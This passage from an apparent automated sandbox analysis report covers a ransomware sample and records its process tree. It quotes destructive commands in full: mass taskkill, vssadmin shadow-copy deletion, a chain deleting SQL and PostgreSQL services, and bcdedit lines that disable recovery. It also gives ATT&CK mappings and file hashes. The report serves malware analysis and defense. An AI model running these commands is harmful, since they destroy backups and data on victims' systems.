        taskkill /IM Jointsky.CloudExchangeService.exe /F
        5⤵
        
        PID:2420
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Jointsky.CloudExchange.NodeService.ein /F
        5⤵
        
        PID:9156
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM perl.exe /F
        5⤵
        
        PID:888
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM java.exe /F
        5⤵
        
        PID:7900
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM emagent.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8316
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TsServer.exe /F
        5⤵
        Kills process with taskkill
        
        PID:5140
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM AppMain.exe /F
        5⤵
        
        PID:8444
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM easservice.exe /F
        5⤵
        
        PID:7892
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Kingdee6.1.exe /F
        5⤵
        
        PID:8348
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM QyKernel.exe /F
        5⤵
        
        PID:5360
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM QyFragment.exe /F
        5⤵
        
        PID:6404
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UserClient.exe /F
        5⤵
        
        PID:7220
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GNCEFExternal.exe /F
        5⤵
        
        PID:6164
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GNCEFExternal.exe /F
        5⤵
        
        PID:6980
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GNCEFExternal.exe /F
        5⤵
        
        PID:6228
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ComputerZTray.exe /F
        5⤵
        
        PID:7316
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ComputerZService.exe /F
        5⤵
        
        PID:1128
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ClearCache.exe /F
        5⤵
        Kills process with taskkill
        
        PID:3432
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ProLiantMonitor.exe /F
        5⤵
        
        PID:5168
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ChsIME.exe /F
        5⤵
        Kills process with taskkill
        
        PID:5252
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM bugreport.exe /F
        5⤵
        
        PID:3680
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GNWebServer.exe /F
        5⤵
        
        PID:5292
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UI0Detect.exe /F
        5⤵
        
        PID:5744
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GNCore.exe /F
        5⤵
        
        PID:2524
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM gnwayDDNS.exe /F
        5⤵
        Kills process with taskkill
        
        PID:8904
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GNWebHelper.exe /F
        5⤵
        
        PID:8724
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM php-cgi.exe /F
        5⤵
        
        PID:5388
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ESLUSBService.exe /F
        5⤵
        
        PID:8272
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM CQA.exe /F
        5⤵
        Kills process with taskkill
        
        PID:2716
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Kekcoek.pif /F
        5⤵
        
        PID:6168
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    3⤵
    - Enumerates connected drives
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1876
  - - C:\Windows\system32\vssadmin.exe
      "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3068
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "MSSQLFDLauncher"
        5⤵
        
        PID:736
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
      4⤵
      PID:5072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
      4⤵
      PID:1420
- C:\Windows\system32\attrib.exe
  attrib -s -h C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
  2⤵
  - Views/modifies file attributes
  PID:2884

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3120

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
1⤵
PID:2712
- C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
  "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7OUExMzI0N0QtQ0MyMi00RTYyLThFNjctN0JCNUZERDM1QjhBfSIgdXNlcmlkPSJ7RDhDODA3RTktREFCQi00QjZELUFBNEEtRUU2QjlFMEU3OThBfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NEMzOTkyMjUtRTIzQS00MzlFLUExQjUtQTUyNEM4MzFEMjRFfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDY4ODkiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxOTM2NTgwOTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1NDMwOTIxMzc5Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log

Filesize
477KB

MD5
4e8255de655e1844041a72d0b1731e8c

SHA1
601f080310225f7321ef1618a125a57a6e44c7c9

SHA256
a494b58dc3a2cee3e6b8c3bf12d462028afe0d8a9799303e59416e243a3a629a

SHA512
3aeb74fcf1bb3bed3bb32c097d185915cf9399f9ffa2c1f5b72e52a74ce50f94dfc25caf9fb56275947a942453f62c48788b5e5e58e0d93cdfa4bc57cb6688e7

Download Submit
C:\Users\Admin\3D Objects\FILE RECOVERY.txt

Filesize
1KB

MD5
3afab309f72e46692b930930c8deb55d

SHA1
f1e08c48d22b3727ce595b57042a843f3b56ec04

SHA256
e8bf05f89415276254da7fb0901117886f78b0937aaa1ecf4e0431205a3a77cc

SHA512
d8530a227660cac8fd8c02b0b60dc80ee37d316b0e5f17e0c53be1948b5e7c8cc3b45988065e948b594d3b6c335774de392bbfa78a2e86ed3f0a5ce8d623271e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
4ec6e679b197522ad3988de08af0f77b

SHA1
fe3072b2286a61229cb4cfa055feea022ac9076a

SHA256
bcfea7ee45acca5c4f8d20f8a2becb56eaa9ead2b614b66e31a5c01fe4704e0c

SHA512
5e522c0e75461c089b2276e4d1c9af8ee537aa1878bd8052c1e3685b603d65b57759f7684e91fdab995f17b202267acc7916cee552963903cabafbf697df51f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Bwmeldokiller.bat

Filesize
39KB

MD5
0e115cd39c3c92a0c3736555c022c7f3

SHA1
3fa79012dfdac626a19017ed6974316df13bc6ff

SHA256
22816dc4dda6beec453e9a48520842b8409c54933cc81f1a338bc77199ab917e

SHA512
034e1286dff6cf653a69b2f46b04e45c47e8c2c4e7be6af0af4259d71ffd2967f6e24b722cb58a618419ac2ba25ca5e4d3d833e9147ad01c8064b17ab0e14318

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uvebzro3.zcq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1876-83-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-66-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-87-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-86-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-98-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-2929-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-65-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-88-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-2942-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-54-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-61-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-62-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-58-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-59-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-57-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/1876-12621-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/4132-44-0x0000000073650000-0x0000000073E00000-memory.dmp

Filesize
7.7MB

Download
memory/4132-32-0x0000000073650000-0x0000000073E00000-memory.dmp

Filesize
7.7MB

Download
memory/4132-31-0x0000000073650000-0x0000000073E00000-memory.dmp

Filesize
7.7MB

Download
memory/4132-50-0x0000000073650000-0x0000000073E00000-memory.dmp

Filesize
7.7MB

Download
memory/4960-23-0x0000000007C70000-0x00000000082EA000-memory.dmp

Filesize
6.5MB

Download
memory/4960-21-0x0000000006320000-0x000000000633E000-memory.dmp

Filesize
120KB

Download
memory/4960-30-0x0000000007A80000-0x0000000007B12000-memory.dmp

Filesize
584KB

Download
memory/4960-29-0x00000000078E0000-0x0000000007A3A000-memory.dmp

Filesize
1.4MB

Download
memory/4960-28-0x0000000007390000-0x00000000073AE000-memory.dmp

Filesize
120KB

Download
memory/4960-27-0x0000000007800000-0x0000000007876000-memory.dmp

Filesize
472KB

Download
memory/4960-26-0x0000000008910000-0x0000000008F28000-memory.dmp

Filesize
6.1MB

Download
memory/4960-25-0x00000000075F0000-0x00000000077FA000-memory.dmp

Filesize
2.0MB

Download
memory/4960-24-0x0000000006870000-0x000000000688A000-memory.dmp

Filesize
104KB

Download
memory/4960-43-0x0000000073650000-0x0000000073E00000-memory.dmp

Filesize
7.7MB

Download
memory/4960-22-0x0000000006360000-0x00000000063AC000-memory.dmp

Filesize
304KB

Download
memory/4960-42-0x000000007365E000-0x000000007365F000-memory.dmp

Filesize
4KB

Download
memory/4960-20-0x0000000005E70000-0x00000000061C4000-memory.dmp

Filesize
3.3MB

Download
memory/4960-10-0x0000000005E00000-0x0000000005E66000-memory.dmp

Filesize
408KB

Download
memory/4960-9-0x0000000005D90000-0x0000000005DF6000-memory.dmp

Filesize
408KB

Download
memory/4960-8-0x0000000005550000-0x0000000005572000-memory.dmp

Filesize
136KB

Download
memory/4960-612-0x0000000073650000-0x0000000073E00000-memory.dmp

Filesize
7.7MB

Download
memory/4960-7-0x0000000005660000-0x0000000005C88000-memory.dmp

Filesize
6.2MB

Download
memory/4960-6-0x0000000073650000-0x0000000073E00000-memory.dmp

Filesize
7.7MB

Download
memory/4960-5-0x0000000004F50000-0x0000000004F86000-memory.dmp

Filesize
216KB

Download
memory/4960-4-0x000000007365E000-0x000000007365F000-memory.dmp

Filesize
4KB

Download